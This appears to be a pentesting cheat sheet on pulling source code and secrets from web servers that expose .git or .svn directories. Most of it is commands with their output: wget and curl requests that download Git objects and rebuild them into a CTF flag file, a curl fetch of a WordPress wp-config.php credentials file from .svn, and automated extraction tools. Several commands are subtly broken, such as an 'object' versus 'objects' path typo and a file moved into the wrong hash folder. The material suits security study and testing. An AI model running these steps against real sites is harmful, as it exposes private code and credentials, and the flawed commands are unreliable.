# Insecured source code management

## GIT - Source code management

### Github example with a .git

1. Check 403 error (Forbidden) for .git or even better : directory listing
2. Git saves all informations in log file .git/logs/HEAD (try 'head' too)
    ```powershell
    0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000        clone: from https://github.com/fermayo/hello-world-lamp.git

    ```
3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c,
    ```powershell
    # create a .git directory
    git init test
    cd test/.git

    # download the file
    wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
    mkdir .git/object/26
    mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/

    # display the content of the file
    git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
        tree 323240a3983045cdc0dec2e88c1358e7998f2e39
        parent 15ca375e54f056a576905b41a417b413c57df6eb

        committer Michael <michael@easyctf.com> 1489390329 +0000
        Initial.
    ```
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
    ```powershell
    wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
    mkdir .git/object/32
    mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/

    git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
        040000 tree bd083286051cd869ee6485a3046b9935fbd127c0        css
        100644 blob cb6139863967a752f3402b3975e97a84d152fd8f        flag.txt
        040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97        fonts
        100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1        index.html

    ```
5. Read the data (flag.txt)
    ```powershell
    wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
    mkdir .git/object/cb
    mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
    git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
    ```

### Automatic way : diggit.py

```powershell
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1

-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download
```

### Alternative way : rip-git

```powershell
perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/"

git cat-file -p 07603070376d63d911f608120eb4b5489b507692  
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000

git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
```

## SVN - Source code management

### SVN example (Wordpress)

```powershell
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
```

1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
    ```powershell
    INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
    ```
2. Download interesting files
    * remove \$sha1\$ prefix
    * add .svn-base postfix
    * use first two signs from hash as folder name inside pristine/ directory (94 in this case)
    * create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`

### Automatic way

```powershell
git clone https://github.com/anantshri/svn-extractor.git
python svn-extractor.py –url "url with .svn available"
```
